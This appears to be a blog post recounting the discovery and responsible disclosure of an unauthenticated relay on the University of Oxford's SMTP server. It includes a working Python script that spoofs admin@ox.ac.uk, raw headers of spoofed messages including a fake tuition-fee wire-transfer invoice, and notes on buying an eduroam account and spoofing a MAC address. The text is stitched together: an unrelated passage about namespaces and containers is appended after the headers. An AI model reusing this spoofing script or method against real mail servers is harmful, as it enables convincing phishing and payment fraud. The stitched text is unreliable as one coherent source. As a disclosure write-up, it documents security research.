In what way was it misconfigured? You’ll be surprised. You could use it without any authentication — no username no password. What is the capability? You could put anything in the sender and receiver field and the server will relay it without question. See the short python script below
import smtplib
from email.message import EmailMessage
msg = EmailMessage()
msg['Subject'] = "Test 6"
msg['From'] = "Oxford Admin <admin@ox.ac.uk>"
msg['To'] = "chendeyao000@gmail.com"
msg.set_content("Hello.")
with smtplib.SMTP("smtp.ox.ac.uk", 587) as server:
server.starttls()
server.send_message(msg)
That’s it.
Luckily, they have firewall so that the server is not accessible from the internet so it was probably not immediately catastrophic. But anyone connected to the eduroam wifi, including those from other institutions can use the server. It gets worse. As you will see soon, this can include random Joe.
Interestingly, if I enter a wrong password, it will reject the email. So it seemed to be a classic mistake where an empty field triggers something completely unexpected.
Since it’s already fixed, I can finally write this blog post telling you about it and also document the discovery and reporting process. Hang tight, because it was just as bizarre — if not more so — than the vulnerability.
On the evening of 11th October, I followed the guide from the maths department to configure my email client to send from deyao.chen@maths.ox.ac.uk, using the university’s SMTP server. I also thought it was a good idea to finally try to use Thunderbird. I’ve never used it because it didn’t support OAuth, which was required for my previous university — University of St Andrews. But this finally seemed like the time to try it.
As expected, it was kind of convoluted to get to the configuration flow for SMTP, probably because they wanted to direct people away from this rarely used and confusing (to normies) option. I don’t remember the exact details but I remember having to leave a few entires blank in the set up box so I can go to settings and choose the correct option. For some reason, I decided it was a good idea to try to send something to my gmail before everything was configured. To my surprise, the email actually arrived. I was a bit confused because I didn’t remember that I entered my password. I thought maybe I remembered it wrong, or maybe it grabbed my password from somewhere else with some magic. Or perhaps, more impossibly, the smtp server did not check for the authentication. I tried to reproduce it, but I could not do it in Thunderbird.
So I bought out the big gun: asking ChatGPT for a command line tool. I like command line tools because everything in explicit: they only use variables that you pass in as arguments, and there is no magic like grabbing a password from the keychain, or a getting session token in some shared storage.
I realized this was huge. The emails came from the actual Oxford server so everything like DMARC, SPF, and DKIM passes. So it would appear 100% legit. For example, anyone can use feepayments@reuben.ox.ac.uk to ask for money to be paid to their account. You can probably imagine many other nefarious ways to take advantage of it.
I searched online for ways to report vulnerability and found oxcert@infosec.ox.ac.uk. Unfortunately there was no bug bounty program. Even so, I thought I had a responsibility to report it before it falls into the wrong hand. Also it’d be cool to discovery my first vulnerability. So in the earlier morning of the 12th I sent them an report.
I was quite cagy with my initial report. I only mentioned that emails could be spoofed and asked for an in person meeting. I didn’t specify that I connected to eduroam, because I worried that by giving more qualifiers it could lead to someone rediscovering the venerability.
To my utter surprise, on the 13th, I got a response from OxCert saying it was “expected design” and that the SMTP server could not be access from the internet. I replied I was pretty sure it was not by design and also gave them a 90-day countdown to public disclosure. It was fun cosplaying some whitehat :D. Then I found that John Ireland, the Director of Software Solutions, put my ticket as resolved and “no action requested”. I thought maybe they thought I was bluffing or misunderstood what I was trying to say. After all, I would have a hard time believing them if someone just told me they could spoof any email address — it is a indeed a solved problem in cybersecurity. I wish I could tell him “there is not ANY fucking authentication AT ALL”. But again, I was worried the exploit would fall into the wrong hand. So I thought I could get his attention by sending him an email using admin@ox.ac.uk as a demo.
I got a reply soon. He reasserted that it was indeed by design. He explained to me the existence of SPF, DKIM, and DMARC. He said that to use that service I had to authenticate myself before I could access the network. He then quoted the university policy forbidding this. I was pretty sure that’s not how it works. You can’t just tell criminals to just follow the law!
Worst of all, he warned me to not send any further demo emails “as it may result in disciplinary action”. I had no word.
Later that day, someone emailed me on the same ticket, asking me to discuss the finding over email, asserting to me it was secure, so I sent the python code over. I finally got a positive reply that it was a valid issue and they were investigating on the 15th.
Back to the 13th. After the exchange, I was particularly curious about the network part. I was connected to eduroam. Eduroam is a wifi service that academic institutions from around the world use. It basically allows anyone with an account to connect seamlessly to any eduroam wifi around the world. It was not some Oxford only network. So naturally I wondered if people not from Oxford could use the SMTP server. I suspected so because I didn’t think anyone would design eduroam to assign people from different institutions to different ip blocks and configure the firewall accordingly. To test it, I thought to try with a different account. Unfortunately, my old eduroam from St Andrews no longer worked.
Then I suddenly remembered that I should try Taobao — a Chinese e-commerce platform where everything is for sale. There is a saying in China that if it doesn’t exist on Taobao then it probably doesn’t exist at all. You might know its western counterpart made by the same parent company: AliExpress. As expected, I could buy an account for ¥15 (~$2USD) for a duration of a month. The seller just asked for a phone number, which they did not even verify, to serve as the account number.
Because of time zone difference, I got my eduroam account at around midnight. Even though I was going to sleep, I couldn’t because I was so eager to find out if it worked, and I was worried the vulnerability could be fixed at any time. So after finding no sleep, I decided to get up and try it. I logged in with the new account, spoofed my wifi mac address just in case and guess what. It still worked.
It was 5 am in the morning on 14th. I thought I had to reply to explain it to John again. I also thought this was such a basic thing that it would sooner or later be discovered by someone else. I thought it was the responsible thing to disclose it publicly in 90 days. So reemphasized it in the email. Little did I know, this was a bad idea. It would come to bite me later.
Then on the 16th, out of nowhere, I received an email from Professor Kostas Margellos, the Dean of Reuben College. He reminded me that I needed to respect the associated policies and avoid posing deadlines. Thankfully, he also said that it does not bear “any disciplinary tone, and clear no consequences”. At this point, I was quite overwhelmed so I didn’t do anything about it for more than a week.
For so many times, I wanted to tell someone, especially when my friends were talking about configuring their emails to send from @maths. But I held back on every opportunity.
Then on 24th October, I was feeling a lot better. I thought I needed to try again. I discovered that it was still not fixed and replied to his email and explained the situation. I got an reply on 4th November basically reiterating the same points.
Then on the evening of 3th November. I just had my dinner in college and was on my way back to the library for some more work. I saw the Vice-Chancellor Professor Irene Tracey at Reuben College. From what I glimpsed from a poster, it was an event with for council something. I could see that many important people were there. I thought to just tell her but I didn’t know if it would be appropriate or if she would even care. But I thought it was worth a shot. Very very luckily everyone was so nice. Someone spotted that I was standing there and asked me what I needed. I told her that I just wanted to say hi to Professor Tracey. She immediately went on to get Irene for me (instead of just dismissing me). That was a pleasant surprise. Irene was actually very very nice and listened attentively. I told her the issue and she went on to find Professor Anne Trefethen, and David White. Luckily again, Anne was also very nice. She told me to email her the details and she would take a look at it just later that night. I sent her an email with more details as well as the python code snippet, she replied the same evening. It was so fast.
Three days later on the 6th, I received an email from Anne saying it was fixed. She said sorry for the response from some colleges, cc’ed Reuben’s president so that he’s aware of my good works, and relayed thanks from Irene. I was so glad.
Lastly, and most importantly, test your app with empty strings and undefined variables!
I put here several emails I sent to myself from various ox.ac.uk email address so you can check the DKIM value for yourself.
Delivered-To: chendeyao000@gmail.com
Received: by 2002:a17:907:a646:b0:b3f:8191:382 with SMTP id vu6csp2430746ejc;
Sat, 11 Oct 2025 18:08:34 -0700 (PDT)
X-Google-Smtp-Source: AGHT+IHCotRl/nPkM0IdU97qsp9tb40GoWYg9Hl94FUnWH060Cp3ZQsD6Uidwwe+LWQnrFWXyYa5
X-Received: by 2002:a5d:5d03:0:b0:3d1:6d7a:ab24 with SMTP id ffacd0b85a97d-42667177c28mr10937527f8f.17.1760231314332;
Sat, 11 Oct 2025 18:08:34 -0700 (PDT)
ARC-Seal: i=1; a=rsa-sha256; t=1760231314; cv=none;
d=google.com; s=arc-20240605;
b=MD/Dvouje3dmQd7QysO1WOsbrciuegyicqANLfdFgG/tihoeJnNRi+Zc8Gl/XH/r4q
qMn+5RQtRpG/kNw9KRYT8htOnhTlnOYi+yP38MTF0aX/3e5j7zoE9ALMwSqBTtnc5K7H
Fg6EVR/RZWi3fLwlO1owG5hjmJC8cmX4oRIDp1BY3TS1HGC+65xSuzZZTgHsM0jWFiU1
TiHhlFPjTO1ELVm+Dj7pIU3abeVILLEYdikugtUm9nJonGQULXU8FYceePbySpX57olZ
K9ircjFupuJoeGRkChluP2MbgUILDafuwnNmSS69aWeRZckmC9/XWBtMO14ObFRR4VOj
m/dA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20240605;
h=date:message-id:mime-version:content-transfer-encoding:to:from
:subject:dkim-signature;
bh=Ba3gj8+xBPQLJTahTfzW6RbWQ/XPgESxkCi2B66PSQg=;
fh=e74W4SjK/DwiGJsc2adt3k3HYnQQ33qmWFCPn8qmRmE=;
b=lQJGVti14KXGi4b4DNSFXGefSo5zBXp2XeoKcZzmGdvhk78Vc1oR/BG06PVueWVvzc
0onYeX81wbtgW4cCPzx2G/vRC7KzxuhphXkPTBHtYbtNH2Z6sCVLs2bRgBF4vM/zjaUC
ndfLBOrcVcOR6otrpd4Mk3zH9SM1rsh0usAI83fBcXXjqlmUTFQ+xxRqt5p5XstP+T9W
hJKirPwmkpxh1UdeqW8P/WtUz35w7WyYAkWPAtu3Tsmm5tfmP+0pMjXSqRTmrxKt4/08
BMNGE4KjCNblt6X9QjZoIEURqzsbwoGBH0JP5HbxZas1IaRCF7Y6LcRVXeKdS9CvZB/3
TTzg==;
dara=google.com
ARC-Authentication-Results: i=1; mx.google.com;
dkim=pass header.i=@ox.ac.uk header.s=flood header.b=Zn69SIfA;
spf=none (google.com: anyone@does-not-exist.ox.ac.uk does not designate permitted sender hosts) smtp.mailfrom=anyone@does-not-exist.ox.ac.uk;
dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=ox.ac.uk
Return-Path: <anyone@does-not-exist.ox.ac.uk>
Received: from relay20.mail.ox.ac.uk (relay20.mail.ox.ac.uk. [163.1.2.170])
by mx.google.com with ESMTPS id ffacd0b85a97d-426ce5cd101si3251659f8f.302.2025.10.11.18.08.34
for <chendeyao000@gmail.com>
(version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
Sat, 11 Oct 2025 18:08:34 -0700 (PDT)
Received-SPF: none (google.com: anyone@does-not-exist.ox.ac.uk does not designate permitted sender hosts) client-ip=163.1.2.170;
Authentication-Results: mx.google.com;
dkim=pass header.i=@ox.ac.uk header.s=flood header.b=Zn69SIfA;
spf=none (google.com: anyone@does-not-exist.ox.ac.uk does not designate permitted sender hosts) smtp.mailfrom=anyone@does-not-exist.ox.ac.uk;
dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=ox.ac.uk
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=ox.ac.uk;
s=flood; h=Date:Message-Id:MIME-Version:Content-Type:To:From:Subject: reply-to:cc; bh=Ba3gj8+xBPQLJTahTfzW6RbWQ/XPgESxkCi2B66PSQg=; t=1760231314;
x=1761095314; b=Zn69SIfAHSfj0IcArai8Y9UAuUHDJ/e0ZqMhnfq27n4PLyhTOr4VQIr5/YAC N6XRx3A11TD/R6j8rbEX7IQOQBkHkwIzpbhWyyLMRQ9qDq8JZ1KDXJO1l20ea+i+f1jzaTyC6XjJr SZ0ler7VftE9cLUXijDOFvdp15iT49Zz/ZsMIqjfURvjpTWdC33c1WFv0UfhVrjTYy9aOuhVMjEAb Ddz8N4Ijnnk/bD/jfRg8N0HuecF+BLOibIbCaUj+BK6+ma0U/CZPbX8Jq2vpYh70f30WO5MpT8Qqk 3KARh4qnKo98Nfx2VlcB6KN4MSfkdlue3WXoCHHkJqstmx7zcrA==;
Received: from smtp9.mail.ox.ac.uk ([129.67.1.206]) by relay20.mail.ox.ac.uk with esmtps (TLS1.3:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.92) (envelope-from <anyone@does-not-exist.ox.ac.uk>) id 1v7kZd-0000jr-G2 for chendeyao000@gmail.com; Sun, 12 Oct 2025 02:08:33 +0100
Received: from client-8-217.eduroam.oxuni.org.uk ([192.76.8.217]:53696 helo=1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.ip6.arpa) by smtp9.mail.ox.ac.uk with esmtps
(TLS1.3) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.94.2) (envelope-from <anyone@does-not-exist.ox.ac.uk>) id 1v7kZd-0006gs-VF for chendeyao000@gmail.com; Sun, 12 Oct 2025 02:08:33 +0100
Subject: Test 8
From: anyone@does-not-exist.ox.ac.uk
To: chendeyao000@gmail.com
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
MIME-Version: 1.0
Message-Id: <E1v7kZd-0006gs-VF@smtp9.mail.ox.ac.uk>
Date: Sun, 12 Oct 2025 02:08:33 +0100
Hello
Delivered-To: chendeyao000@gmail.com
Received: by 2002:a17:907:a646:b0:b3f:8191:382 with SMTP id vu6csp2757911ejc;
Sun, 12 Oct 2025 15:22:32 -0700 (PDT)
X-Google-Smtp-Source: AGHT+IFzKb3AUQJvpyiBE9tM+CXw7UMkhMHwZ0huXpvPTIW9WTcPsW6ujQmCx7Z25vy/1EvzMXvq
X-Received: by 2002:a05:6000:438a:b0:424:2275:63c7 with SMTP id ffacd0b85a97d-4266e8e64famr11192958f8f.56.1760307752212;
Sun, 12 Oct 2025 15:22:32 -0700 (PDT)
ARC-Seal: i=1; a=rsa-sha256; t=1760307752; cv=none;
d=google.com; s=arc-20240605;
b=YKwlGdGMd2fuOb2SHaeNGQIH8s2vWtZgMoWPAAgzsgcDNfWZGQFSsnls8nypXYKKw8
VPw8mnFrIoVQHGHlWoULCdvjtEz1UR3fFJPgADAg3Ohnhd9zWjdFOnfw1nOSbNlrr+68
acGH/VJKFGLPL8m34hyXq4lSG9KGB1NsiKMzzApAZvVRZGe50L0WsMQgZxNKFsufNbFk
oKWXsnZBbVg7BuGD5/+IBXx5xSSAWuttTn9O+PZrAG6n9n5bACdDrv2D7T9HkzdH5zMA
g/3rZURNl2e7HUvOv+4edAbEyzQ68qiahZGlgof6aH8XLbKol4zAjPvc1mZSCvAYxgKE
C00Q==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20240605;
h=date:message-id:mime-version:content-transfer-encoding:to:from
:subject:dkim-signature;
bh=qqFw2xOxeThwz4JegbmFCSZ+scZibjCWbvDcPNaYKB0=;
fh=e74W4SjK/DwiGJsc2adt3k3HYnQQ33qmWFCPn8qmRmE=;
b=hD/B4TFBOYhdzFpGaqrHGpnIveaaP88otigsvRYiPieC19QwfZX866LmFLWBaIUh1x
Qu5/WjRhQT4/3yEPk7BWIsLLv9TCQeyFCANywu4Wtj2DB+PpRop1DH8BwOArstFuWUkd
spqTgvkXJoONtOVXDLn7mDxjXoXliy4sdqSzghibnu0oZKx4UHRYRLQHdivlkvTDhWNn
InxEwPW9ewJ0QmLjU930rh56Cbc4I/kU/Kqfn8iAymyQfDix6PeGNPb/KzjDgmxulZR5
wCAwOP9Zp0lfRCpxav4GbThNrYjzxVAa5jgFRbYk/vQVgB9vZVAGrbhNNq1Rmf8hCbDD
Xrrw==;
dara=google.com
ARC-Authentication-Results: i=1; mx.google.com;
dkim=pass header.i=@ox.ac.uk header.s=flood header.b=ahjXlbXK;
spf=pass (google.com: domain of feepayments@reuben.ox.ac.uk designates 129.67.1.170 as permitted sender) smtp.mailfrom=feepayments@reuben.ox.ac.uk;
dmarc=pass (p=NONE sp=NONE dis=NONE) header.from=reuben.ox.ac.uk
Return-Path: <feepayments@reuben.ox.ac.uk>
Received: from relay19.mail.ox.ac.uk (relay19.mail.ox.ac.uk. [129.67.1.170])
by mx.google.com with ESMTPS id ffacd0b85a97d-426ce5deebcsi4104421f8f.561.2025.10.12.15.22.32
for <chendeyao000@gmail.com>
(version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
Sun, 12 Oct 2025 15:22:32 -0700 (PDT)
Received-SPF: pass (google.com: domain of feepayments@reuben.ox.ac.uk designates 129.67.1.170 as permitted sender) client-ip=129.67.1.170;
Authentication-Results: mx.google.com;
dkim=pass header.i=@ox.ac.uk header.s=flood header.b=ahjXlbXK;
spf=pass (google.com: domain of feepayments@reuben.ox.ac.uk designates 129.67.1.170 as permitted sender) smtp.mailfrom=feepayments@reuben.ox.ac.uk;
dmarc=pass (p=NONE sp=NONE dis=NONE) header.from=reuben.ox.ac.uk
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=ox.ac.uk;
s=flood; h=Date:Message-Id:MIME-Version:Content-Type:To:From:Subject: reply-to:cc; bh=qqFw2xOxeThwz4JegbmFCSZ+scZibjCWbvDcPNaYKB0=; t=1760307752;
x=1761171752; b=ahjXlbXKh32qMYGRwzC5FTQUCT0XaLZTGkFZkm/34uo6w3zje1l0umpDt0sH rPY9Cjp/eKkJDdEzaO0SN6gszxPJV9We7FTPjwh3LnOEhkVX/EC1PxhTld+OUqyuAeIukpQ2qjiQO DL4M+Arfz6wibB4rlcmiZuQucqCz9IehhiZIw7WF/GGA6uO+gEn21pQ6k/JdhxZqYA4LSlQo80/Pt iXQfuxlV4NSxkES5w9UR6zoXpWQuX0rRi7sydbT6+fIW0IDGO6uQARKDjUUf2V5DGP9CypYfbDYun uos5ds7xBs/7HhrVyPT6eMURfXg5tzUOTgcwZu6i9ycMxI2lslA==;
Received: from smtp9.mail.ox.ac.uk ([129.67.1.206]) by relay19.mail.ox.ac.uk with esmtps (TLS1.3:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.92) (envelope-from <feepayments@reuben.ox.ac.uk>) id 1v84SV-0007gI-Cl for chendeyao000@gmail.com; Sun, 12 Oct 2025 23:22:31 +0100
Received: from farn-4.gradacc.ox.ac.uk ([192.76.28.244]:56983 helo=1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.ip6.arpa) by smtp9.mail.ox.ac.uk with esmtps
(TLS1.3) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.94.2) (envelope-from <feepayments@reuben.ox.ac.uk>) id 1v84SV-00033S-V9 for chendeyao000@gmail.com; Sun, 12 Oct 2025 23:22:31 +0100
Subject: Invoice for Tuition Fees 2025-26 - Reuben College, University of Oxford 5
From: Reuben College Fee Payments <feepayments@reuben.ox.ac.uk>
To: chendeyao000@gmail.com
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
Message-Id: <E1v84SV-00033S-V9@smtp9.mail.ox.ac.uk>
Date: Sun, 12 Oct 2025 23:22:31 +0100
A total amount of =C2=A340,000 is due. Please wire transfer to the followin=
g account: 12345678.
Delivered-To: chendeyao000@gmail.com
Received: by 2002:a17:907:7f0c:b0:b66:130d:b45e with SMTP id qf12csp189862ejc;
Wed, 29 Oct 2025 07:30:52 -0700 (PDT)
X-Google-Smtp-Source: AGHT+IEig0tFh6ZG1aEAdaklnQY6Mq8MRZDYkoWrWu4kY4C7FCRTpMlpZdYpTX1q1LLX/zFt0GBy
X-Received: by 2002:a05:600c:46c4:b0:46d:996b:828c with SMTP id 5b1f17b1804b1-4771e18432emr27048295e9.10.1761748252026;
Wed, 29 Oct 2025 07:30:52 -0700 (PDT)
ARC-Seal: i=1; a=rsa-sha256; t=1761748252; cv=none;
d=google.com; s=arc-20240605;
b=cAHjQYn4xpbYEgnVU7QPNoQmn1niviUCrDcU6i+l+0ZBWdlZb3iH6o4nFZmYBn6UZa
+5++FKcGWzixisT0eYGLNrukLGIsXXzw/nvk1J3k3/QDd2Y13zA8aUBbR6Y6znTEKASi
N456+jdDE04+DK8N6RvCneufXoTf3GgVPp6HC3Bh51ws0BQz6erp+16u/DyXNUxsplZK
2bCOXkkQduyB+2cBstXLBL2vXU9QMuq/iTOJELEEzjczjfruBB8d6gjOSG3q7X5H0cun
NFj1YzmKNHRrmGJpOSV+FmeGBlvF7bAt02Cw+b5wAb2/jmcNXOfJ30O21CZvylNJHGEu
5bkQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20240605;
h=date:message-id:mime-version:content-transfer-encoding:to:from
:subject;
bh=yZQq1c8wjBl0fZ4Wc/oraMCAG1mZJv5v/hlvyFy+t6A=;
fh=e74W4SjK/DwiGJsc2adt3k3HYnQQ33qmWFCPn8qmRmE=;
b=H2gWT5AVFJpwIF3nr3z3p46+69ARa9412xfiJR9FvQh5+mEufP/R1XyH879qZYeNck
rEJnQbWQ8OTUKWq/3oqAPdBsh2xVRro0p/Vf6zfPIX1bFDGwBDlKOIBZWTIf7HEFXyfD
hJLELKMPVk4OtMgJHJ8/G4mLZU5qrNt+QmTO6vfiLoj2X8smHnD8BAwc9E8/vzfQ+8X7
Xh8xJSVAJO1Yex+SXqz9bxcuFKpKa0Gg7Ccq16zlehncIgiO/G9nUTXuWTqnmTYgNU5V
VdvApxtG3IkQBfHL9XVak17YalgkceFok2535G3Ay1TZvK6qL6/Rb+swpTCmbd12HEFA
m9tw==;
dara=google.com
ARC-Authentication-Results: i=1; mx.google.com;
spf=pass (google.com: domain of admin@ox.ac.uk designates 163.1.2.170 as permitted sender) smtp.mailfrom=admin@ox.ac.uk;
dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=ox.ac.uk
Return-Path: <admin@ox.ac.uk>
Received: from relay20.mail.ox.ac.uk (relay20.mail.ox.ac.uk. [163.1.2.170])
by mx.google.com with ESMTPS id ffacd0b85a97d-4299610d613si7789624f8f.832.2025.10.29.07.30.51
for <chendeyao000@gmail.com>
(version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
Wed, 29 Oct 2025 07:30:51 -0700 (PDT)
Received-SPF: pass (google.com: domain of admin@ox.ac.uk designates 163.1.2.170 as permitted sender) client-ip=163.1.2.170;
Authentication-Results: mx.google.com;
spf=pass (google.com: domain of admin@ox.ac.uk designates 163.1.2.170 as permitted sender) smtp.mailfrom=admin@ox.ac.uk;
dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=ox.ac.uk
Received: from smtp8.mail.ox.ac.uk ([163.1.2.204]) by relay20.mail.ox.ac.uk with esmtps (TLS1.3:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.92) (envelope-from <admin@ox.ac.uk>) id 1vE7CN-00053v-FD for chendeyao000@gmail.com; Wed, 29 Oct 2025 14:30:51 +0000
Received: from client-8-192.eduroam.oxuni.org.uk ([192.76.8.192]:56279 helo=1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.ip6.arpa) by smtp8.mail.ox.ac.uk with esmtps
(TLS1.3) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.94.2) (envelope-from <admin@ox.ac.uk>) id 1vE7CN-0005of-RD for chendeyao000@gmail.com; Wed, 29 Oct 2025 14:30:51 +0000
Subject: Test 6
From: Oxford Admin <admin@ox.ac.uk>
To: chendeyao000@gmail.com
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
MIME-Version: 1.0
Message-Id: <E1vE7CN-0005of-RD@smtp8.mail.ox.ac.uk>
Date: Wed, 29 Oct 2025 14:30:51 +0000
Hello.
Delivered-To: chendeyao000@gmail.com
Received: by 2002:a17:907:a646:b0:b3f:8191:382 with SMTP id vu6csp2420741ejc;
Sat, 11 Oct 2025 17:19:14 -0700 (PDT)
X-Google-Smtp-Source: AGHT+IEo0qpI0PgZ8wKO9VLULKH/DzLrQBXR96crB0Ao4od7kJDu2qr5wUHdtf9Bw2reRS5HoxUv
X-Received: by 2002:a05:6000:2681:b0:3e8:68:3a91 with SMTP id ffacd0b85a97d-4266e8db27cmr10314507f8f.60.1760228354339;
Sat, 11 Oct 2025 17:19:14 -0700 (PDT)
ARC-Seal: i=1; a=rsa-sha256; t=1760228354; cv=none;
d=google.com; s=arc-20240605;
b=JmOgaI/w3jqkxHJvPIK4tUMCkVMdCE0cxBbJzd1vL1fxKtbGZqPMKuWMA3qkAjI/3b
sae5ctYf6AFhgdsdfQhD5YYQE2x+eiZJEagPfA82UpjFMMtKSuw2t+bAlAVDLkUyM1pK
c887GNQ65BPk0hWmXkVgGJm3UVgHCPTnwIQybcx4Ez7p9enCwm/EC1+4Xi+SBtNqkGKF
AXkaAySbv6m5vf2DwzeifFYJBBJGoVPyLDYcUYcof7kwVOZWvAR71iCa7r6EoEYphqrX
kdYWYhOYIlyhq1jwAtjvEnfbETQq0cWKrrlkhDkbqvITV+4nIfRhh2cDwzLAJxyM6INX
Rosw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20240605;
h=message-id:subject:from:to:date:dkim-signature;
bh=yPch21UgTdjeeSDrwn2r6pOP600pPaAOXQ8OWSNAFrk=;
fh=e74W4SjK/DwiGJsc2adt3k3HYnQQ33qmWFCPn8qmRmE=;
b=NfvXJZl0LcqLUWsmJ6sORlWvnirT2gscO7zNZnh9MoOLAVKQl7TC18zpzM61FMhDxG
hUILnF789Z93Eb/x+2OgwijrUaBW9eYST1XmNdPzqq+HZ1CpbXtTFXH2j51gx9nqT2PU
6j3HiLAp1R8fuCuC9/rtisE248ZpgmknMZEKEOO8N+NL3G92Rcqh/7wolgXitzvRqrbn
odvjABVNxhtsvPWwUe+vgJBQYfCZ5/bLQ6BUsss+OFD4M9Z+nzaOUrJ3Ot+P7alEoX+8
En7oiuhPj1Zz5T0tQnXZTcUwzTZpDj0m7V7MW/zfvKsRm8FwsRyAnzaDV27H3exP27G6
f95A==;
dara=google.com
ARC-Authentication-Results: i=1; mx.google.com;
dkim=pass header.i=@ox.ac.uk header.s=flood header.b=MhXbQfex;
spf=pass (google.com: domain of moid.saber@maths.ox.ac.uk designates 163.1.2.170 as permitted sender) smtp.mailfrom=moid.saber@maths.ox.ac.uk;
dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=ox.ac.uk
Return-Path: <moid.saber@maths.ox.ac.uk>
Received: from relay20.mail.ox.ac.uk (relay20.mail.ox.ac.uk. [163.1.2.170])
by mx.google.com with ESMTPS id ffacd0b85a97d-426ce573128si3059445f8f.151.2025.10.11.17.19.14
for <chendeyao000@gmail.com>
(version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
Sat, 11 Oct 2025 17:19:14 -0700 (PDT)
Received-SPF: pass (google.com: domain of moid.saber@maths.ox.ac.uk designates 163.1.2.170 as permitted sender) client-ip=163.1.2.170;
Authentication-Results: mx.google.com;
dkim=pass header.i=@ox.ac.uk header.s=flood header.b=MhXbQfex;
spf=pass (google.com: domain of moid.saber@maths.ox.ac.uk designates 163.1.2.170 as permitted sender) smtp.mailfrom=moid.saber@maths.ox.ac.uk;
dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=ox.ac.uk
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=ox.ac.uk;
s=flood; h=Message-Id:Subject:From:To:Date:reply-to:cc:mime-version: content-type; bh=yPch21UgTdjeeSDrwn2r6pOP600pPaAOXQ8OWSNAFrk=; t=1760228354;
x=1761092354; b=MhXbQfexId5AlfJalJV2BVYpBebV6yBD5yFwqujdyLfwncaWzArTrhER7u9p RBwkC5s2SO7+OmE89HsHX6uv7qgZr0Gsmw6pJmr8ZccDeyICzDEs8ofj174YtGq0U5ZSu/19Y/p2y PLnUQP34gfG74n4rO7h9shHZBO+RZceSD3ZPxfy1KfhSnHVodbxZYgF9v7yzY5mfRHhNiTZ1LvMc1 fHRBuGxUZX3veGCdUvC6qHcXCgj7bWLjN2GsYbFyvOqlHPByzhdSz/gTdb8shAA6GMWX64yQcb5J9 A423KuFk7/spt7brddpG4ibkbZAenIRpvW2LDhhiXFHEsoi7UOw==;
Received: from smtp9.mail.ox.ac.uk ([129.67.1.206]) by relay20.mail.ox.ac.uk with esmtps (TLS1.3:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.92) (envelope-from <moid.saber@maths.ox.ac.uk>) id 1v7jnu-0002r0-DT for chendeyao000@gmail.com; Sun, 12 Oct 2025 01:19:14 +0100
Received: from farn-4.gradacc.ox.ac.uk ([192.76.28.244]:51626 helo=deyaos-macbook-air-2.local) by smtp9.mail.ox.ac.uk with esmtps
(TLS1.3) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.94.2) (envelope-from <moid.saber@maths.ox.ac.uk>) id 1v7jnt-0000ii-Vt for chendeyao000@gmail.com; Sun, 12 Oct 2025 01:19:13 +0100
Date: Sun, 12 Oct 2025 01:19:13 +0100
To: chendeyao000@gmail.com
From: moid.saber@maths.ox.ac.uk
Subject: Test Email
Message-Id: <20251012011913.014792@deyaos-macbook-air-2.local>
X-Mailer: swaks v20240103.0 jetmore.org/john/code/swaks/
This is a test email sent via Oxford SMTP.
At a basic level, a namespace defines the context in which a program operates. It is the “world” that a program sees. For example, in C++, when you use using namespace std;, you can access all functions starting with std:: without the prefix. Another example is the file system: after navigating to a directory with cd folder, you can access files within it without specifying the full path. Namespaces provide more than convenience; they enable multiple instances of the same program to run without resource conflicts.
Containers heavily rely on namespaces to achieve their isolation. Each container runs in its own set of namespaces, which isolate the container’s view of the operating system. This includes process IDs, hostnames, user IDs, file systems, and network interfaces. For example, the PID namespace ensures that processes inside a container cannot see processes outside of it, and the network namespace allows containers to have their own network interfaces and IP addresses. This is a godsend for many of my (and regrettably other people’s) spaghetti code. These programs use obscure techniques that sometimes rely on libraries that can only be installed on the system level, or that they hard code the path of their dependencies using absolute paths. Sometimes they require dependencies are conflict with other dependencies. These would be very difficult problems to solve otherwise, but by leveraging namespaces, we can use containers that create a self-contained environment that behaves as if it is running on a separate machine, while actually sharing the same underlying kernel with other containers and the host system. Containers are functionally just a virtual machine without the runtime cost of a virtual machine.
A key feature of namespaces is that they are managed by the system, not by the program. For instance, you don’t need to know the current directory’s full path to access a file within it-the operating system handles that. This abstraction simplifies programming and reduces errors. For example, in a well-structured build system, you can override the compiler by setting the CC environment variable. However, using a namespace like chroot allows you to override the compiler for any Makefile without modifying the code.
